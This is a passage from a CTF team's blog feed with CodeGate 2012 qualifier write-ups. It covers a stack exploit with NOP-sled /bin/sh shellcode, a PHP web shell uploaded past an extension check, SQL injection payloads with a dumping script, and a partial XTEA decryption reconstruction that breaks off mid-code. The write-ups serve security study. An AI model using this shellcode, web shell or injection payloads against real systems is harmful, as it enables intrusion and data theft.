<span style="color: #009900;">&#125;</span></pre></div></div>

<p>The algorithm is simple &#8211; 12 bytes are read from <strong>argv[1]</strong> and 2nd and 5th are used to modify <strong>ptr</strong> which is called later.</p>
<p>The stack here is executable, so it&#8217;s straightforward: we should make <strong>ptr</strong> pointing to stack to our payload.</p>
<p>The stack addresses here are like <strong>0xbfbfXXXX</strong>. So, the needed symbol is<br />
<code><strong>0xBF ^ 0xE0 = '_'</strong></code> or<br />
<code><strong>0xBF ^ 0xE1 = '^'</strong></code></p>
<p>So, if we put twelve &#8220;_&#8221; into a file, we&#8217;ll jump to <strong>0xbfbf8540</strong>.</p>
<p>Then we just put this stuff into a file and push a huge nopsled with shellcode:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>solve
$ <span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>solve
$ <span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">SC</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">` perl -e 'print &quot;\x90&quot;x100000 . &quot;\xeb\x0d\x5f\x31\xc0\x50\x89\xe2\x52\x57\x54\xb0\x3b\xcd\x80\xe8\xee\xff\xff\xff/bin/sh&quot;;'`</span>&quot;</span>
$ <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">'^^^^^^^^^^^^^^^^^^^^^^^'</span> <span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #7a0874; font-weight: bold;">test</span>
~<span style="color: #000000; font-weight: bold;">/</span>X .<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">test</span>
&nbsp;
$ <span style="color: #c20cb9; font-weight: bold;">cat</span> ~<span style="color: #000000; font-weight: bold;">/</span>password
key_is_The_davinci_cod3_<span style="color: #000000; font-weight: bold;">!</span></pre></div></div>

<p>The flag: <strong>key_is_The_davinci_cod3_!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-300/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CodeGate 2012 Quals &#8211; Vuln 200</title>
		<link>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-200/</link>
		<comments>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-200/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 10:36:33 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[quals]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2229</guid>
		<description><![CDATA[This web challenge is again about uploading. Our aim was to get shell. Summary: upload php shell, read the key. We need to get a shell, so it should be a good idea to upload a php script. But there&#8217;s a check on extension! Luckily, only a presence of &#8220;.jpg&#8221; is checked, so we can&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-200/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<p>This web challenge is again about uploading.<br />
<a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/vuln200a.png"><img src="http://leetmore.ctf.su/wp-content/uploads/2012/02/vuln200a.png" alt="" title="vuln200a" width="505" height="106" class="alignnone size-full wp-image-2232" /></a></p>
<p>Our aim was to get shell.</p>
<p><strong>Summary:</strong> upload php shell, read the key.</p>
<p><span id="more-2229"></span></p>
<p>We need to get a shell, so it should be a good idea to upload a php script. But there&#8217;s a check on extension!</p>
<p>Luckily, only a <strong>presence</strong> of &#8220;.jpg&#8221; is checked, so we can upload &#8220;shell.jpg.php&#8221; file.</p>
<p>Let&#8217;s upload this simple shell:</p>
<p>shell.jpg.php:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;d&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">scandir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;d&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #b1b100;">echo</span> <span style="color: #990000;">highlight_file</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>With this script we can list any directory and read any file. Let&#8217;s find the key. Usually on Win servers it&#8217;s located on the user&#8217;s Desktop:</p>
<p><strong>http://1.234.41.9/1olOI01/images/c6f8&#8230;4d81.php?d=c:\users</strong><br />
<code>Array ( [0] => . [1] => .. [2] => All Users [3] => Default [4] => Default User [5] => Public [6] => codegate2 [7] => desktop.ini [8] => test )</code></p>
<p><strong>http://1.234.41.9/1olOI01/images/c6f8&#8230;4d81.php?d=c:\users\codegate2\desktop\</strong><br />
<code>Array ( [0] => . [1] => .. [2] => APMSETUP Monitor.lnk [3] => Codegate 2012 Key.txt [4] => desktop.ini )</code></p>
<p>Yes, here it is:</p>
<p><strong>http://1.234.41.9/1olOI01/images/c6f8&#8230;4d81.php?f=c:\users\codegate2\desktop\Codegate%202012%20Key.txt</strong></p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?</span> 
<span style="color: #666666; font-style: italic;">/* 
Good Job ! 
&nbsp;
Key is 16b7a4c5162d4dee6a0a6286cd475dfb 
*/</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span> 1</pre></div></div>

<p>The flag: <strong>16b7a4c5162d4dee6a0a6286cd475dfb</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-200/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CodeGate 2012 Quals &#8211; Vuln 100</title>
		<link>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-100/</link>
		<comments>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-100/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 10:09:43 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[100]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[quals]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vuln]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2215</guid>
		<description><![CDATA[This challenge is a web service where one can upload mp3 files and listen to them. Our aim is to get admin&#8217;s song. Summary: sql injection Files uploading takes 3 parameters: mp3, genre and title. After some tries it&#8217;s easy to see, that there&#8217;s SQL Injection in genre field. We can guess that the query&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-100/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<p>This challenge is a web service where one can upload mp3 files and listen to them.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/vuln100.png"><img src="http://leetmore.ctf.su/wp-content/uploads/2012/02/vuln100.png" alt="" title="vuln100" width="753" height="285" class="alignnone size-full wp-image-2217" /></a></p>
<p>Our aim is to get admin&#8217;s song.</p>
<p><strong>Summary:</strong> sql injection</p>
<p><span id="more-2215"></span></p>
<p>Files uploading takes 3 parameters: <strong>mp3</strong>, <strong>genre</strong> and <strong>title</strong>. After some tries it&#8217;s easy to see, that there&#8217;s SQL Injection in <strong>genre</strong> field.</p>
<p>We can guess that the query is like:<br />
<strong><code>INSERT INTO some_table (mp3, genre, title) VALUES ("....", GENRE, "TITLE");</code></strong></p>
<p>Let&#8217;s send genre = <strong><code>3,(SELECT 123+123)) -- </code></strong></p>
<p>The result:</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/vuln100_2.png"><img src="http://leetmore.ctf.su/wp-content/uploads/2012/02/vuln100_2.png" alt="" title="vuln100_2" width="333" height="176" class="alignnone size-full wp-image-2220" /></a></p>
<p>Now we can make any query we want. Let&#8217;s look at databases and tables:<br />
<a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/vuln100query.py">vuln100query.py</a></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ py vuln100query.py <span style="color: #ff0000;">&quot;SELECT schema_name FROM information_schema.schemata LIMIT 1, 1&quot;</span>
codegate_mp3
$ hexenc codegate_mp3
636f6465676174655f6d7033
$ py vuln100query.py <span style="color: #ff0000;">&quot;SELECT table_name FROM information_schema.tables WHERE table_schema=0x636f6465676174655f6d7033 LIMIT 0, 1&quot;</span>
upload_mp3_101_50_134_99</pre></div></div>

<p>Looks like there&#8217;s a table for all visitors&#8217; IP addresses. Admin should have IP 127.0.0.1, right?</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ hexenc <span style="color: #ff0000;">'upload_mp3_127_0_0_1'</span>
75706c6f61645f6d70335f3132375f305f305f31
$ py vuln100query.py <span style="color: #ff0000;">&quot;SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 0,1&quot;</span>
idx
$ py vuln100query.py <span style="color: #ff0000;">&quot;SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 1,1&quot;</span>
genre
$ py vuln100query.py <span style="color: #ff0000;">&quot;SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 2,1&quot;</span>
title
$ py vuln100query.py <span style="color: #ff0000;">&quot;SELECT column_name FROM information_schema.columns WHERE table_name=0x75706c6f61645f6d70335f3132375f305f305f31 LIMIT 3,1&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">file</span></pre></div></div>

<p>So, the table name is <strong>upload_mp3_127_0_0_1</strong> and there are 4 fields: <strong>idx</strong>, <strong>genre</strong>, <strong>title</strong>, <strong>file</strong>.</p>
<p>If we try to get <strong>file</strong>, we&#8217;ll receive only first 32767 bytes because the <strong>title</strong> field is of that size. But the mp3 file looks to be larger! </p>
<p>We can dump the file by 32767 blocks using <strong>SUBSTR</strong>:<br />
<a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/vuln100.py">full script</a></p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">f = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;out.mp3&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span>
s = <span style="color: #483d8b;">&quot;&quot;</span>
<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1000</span><span style="color: black;">&#41;</span>:
	s1 = query<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;select hex(substr(file, 1+%d, 30000)) from upload_mp3_127_0_0_1&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>i<span style="color: #66cc66;">*</span><span style="color: #ff4500;">30000</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> s1 <span style="color: #66cc66;">!</span>= s: 
		s = s1
		f.<span style="color: black;">write</span><span style="color: black;">&#40;</span>s.<span style="color: black;">decode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;hex&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">print</span> i
	<span style="color: #ff7700;font-weight:bold;">else</span>:
		quit<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>The result: <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/vuln100.mp3">out.mp3</a></p>
<p>Listen and write the flag: <strong>UPL04D4NDP14Y</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-100/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
<enclosure url="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/vuln100.mp3" length="366062" type="audio/mpeg" />
		</item>
		<item>
		<title>CodeGate 2012 Quals &#8211; Binary 200</title>
		<link>http://leetmore.ctf.su/wp/cogegate-2012-quals-binary-200/</link>
		<comments>http://leetmore.ctf.su/wp/cogegate-2012-quals-binary-200/#comments</comments>
		<pubDate>Sat, 25 Feb 2012 23:37:45 +0000</pubDate>
		<dc:creator>zyx2145</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[quals]]></category>
		<category><![CDATA[reverse]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2190</guid>
		<description><![CDATA[Find a printable string that the program would print ultimately. Down Summary: unpack, XTEA decrypt The program is packed PE x86 executable file (dll). The packer was easy, and it took few minute to get a unpacked file (PE tools + ImpRec). The program consists of a lot of functions, but the most of them&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/cogegate-2012-quals-binary-200/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>Find a printable string that the program would print ultimately.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/bin200/A1A81BBD9D2FD44FAE8013E753830464">Down</a></p></blockquote>
<p><strong>Summary: unpack, XTEA decrypt</strong></p>
<p><span id="more-2190"></span></p>
<p>The program is packed PE x86 executable file (dll). The packer was easy, and it took few minute to get a unpacked file (PE tools + ImpRec).<br />
The program consists of a lot of functions, but the most of them are not interesting for us.<br />
The most interesting part of the program is located at address <strong>1000169E</strong></p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/11.png"><img class="alignnone size-full wp-image-2191" title="1" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/11.png" alt="" width="400" height="417" /></a></p>
<p>How you can guess <strong>“TeaDecryptEncrypt”</strong> function is my favorite and adored XTEA crypto function.<br />
It consists of encrypt and decrypt function, but we are interested in only decrypt one.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/21.png"><img class="alignnone size-full wp-image-2192" title="2" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/21.png" alt="" width="346" height="513" /></a></p>
<p>After analysis of all parameters of function, we reconstructed whole algorithm:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;time.h&gt;</span>
&nbsp;
<span style="color: #339933;">#define uint32_t unsigned int</span>
<span style="color: #993333;">int</span> prem_data<span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> <span style="color: #339933;">*</span>new_key<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span> key<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #993333;">int</span> result<span style="color: #339933;">,</span> i<span style="color: #339933;">;</span>
  result <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
  new_key<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
  new_key<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
  new_key<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
  new_key<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span> i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">4</span><span style="color: #339933;">;</span> <span style="color: #339933;">++</span>i <span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    result <span style="color: #339933;">=</span> i<span style="color: #339933;">;</span>
    new_key<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> key<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #339933;">*</span>i<span style="color: #339933;">+</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">|</span> <span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #339933;">*</span>i<span style="color: #339933;">+</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #339933;">*</span>i<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #339933;">*</span>i<span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #b1b100;">return</span> result<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #993333;">void</span> decrypt4 <span style="color: #009900;">&#40;</span><span style="color: #993333;">uint32_t</span><span style="color: #339933;">*</span> v<span style="color: #339933;">,</span> <span style="color: #993333;">uint32_t</span><span style="color: #339933;">*</span> k<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span> new_keys<span style="color: #009900;">&#41;</span> 
<span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">uint32_t</span> v0<span style="color: #339933;">=</span>v<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> v1<span style="color: #339933;">=</span>v<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> sum<span style="color: #339933;">=</span><span style="color: #208080;">0xC6EF3720</span><span style="color: #339933;">,</span> i<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* set up */</span>
    <span style="color: #993333;">uint32_t</span> delta<span style="color: #339933;">=</span><span style="color: #208080;">0x61C88647</span><span style="color: #339933;">;</span>                     <span style="color: #808080; font-style: italic;">/* a key schedule constant */</span>
    <span style="color: #993333;">uint32_t</span> k0<span style="color: #339933;">=</span>k<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> k1<span style="color: #339933;">=</span>k<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> k2<span style="color: #339933;">=</span>k<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> k3<span style="color: #339933;">=</span>k<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>   <span style="color: #808080; font-style: italic;">/* cache key */</span>
&nbsp;
    <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span> vv <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>v<span style="color: #339933;">;</span>
    v0 <span style="color: #339933;">=</span> vv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">|</span> <span style="color: #009900;">&#40;</span>vv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <span style="color: #009900;">&#40;</span>vv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <span style="color: #009900;">&#40;</span>vv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    v1 <span style="color: #339933;">=</span> vv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">|</span> <span style="color: #009900;">&#40;</span>vv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <span style="color: #009900;">&#40;</span>vv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <span style="color: #009900;">&#40;</span>vv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> <span style="color: #208080;">0x20</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> 
    <span style="color: #009900;">&#123;</span>                 
	v1 <span style="color: #339933;">-=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>v0<span style="color: #339933;">&lt;&lt;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">^</span><span style="color: #009900;">&#40;</span>v0<span style="color: #339933;">&gt;&gt;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> v0<span style="color: #009900;">&#41;</span> <span style="color: #339933;">^</span> <span style="color: #009900;">&#40;</span>sum <span style="color: #339933;">+</span> k<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#40;</span>sum<span style="color: #339933;">&gt;&gt;</span><span style="color: #0000dd;">11</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	sum <span style="color: #339933;">+=</span> delta<span style="color: #339933;">;</span>                                   
	v0 <span style="color: #339933;">-=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>v1<span style="color: #339933;">&lt;&lt;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">^</span><span style="color: #009900;">&#40;</span>v1<span style="color: #339933;">&gt;&gt;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> v1<span style="color: #009900;">&#41;</span> <span style="color: #339933;">^</span> <span style="color: #009900;">&#40;</span>sum <span style="color: #339933;">+</span> k<span style="color: #009900;">&#91;</span>sum <span style="color: #339933;">&amp;</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                                 
&nbsp;
    <span style="color: #009900;">&#125;</span>                                              <span style="color: #808080; font-style: italic;">/* end cycle */</span>
    v<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span>v0<span style="color: #339933;">;</span> v<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span>v1<span style="color: #339933;">;</span>
&nbsp;
    new_keys<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>v0 <span style="color: #339933;">&gt;&gt;</span> <span style="color: #0000dd;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    new_keys<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>v0 <span style="color: #339933;">&gt;&gt;</span> <span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    new_keys<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>v0 <span style="color: #339933;">&gt;&gt;</span> <span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    new_keys<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span>v0<span style="color: #339933;">;</span>
    new_keys<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>v1 <span style="color: #339933;">&gt;&gt;</span> <span style="color: #0000dd;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    new_keys<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>v1 <span style="color: #339933;">&gt;&gt;</span> <span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    new_keys<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>v1 <span style="color: #339933;">&gt;&gt;</span> <span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
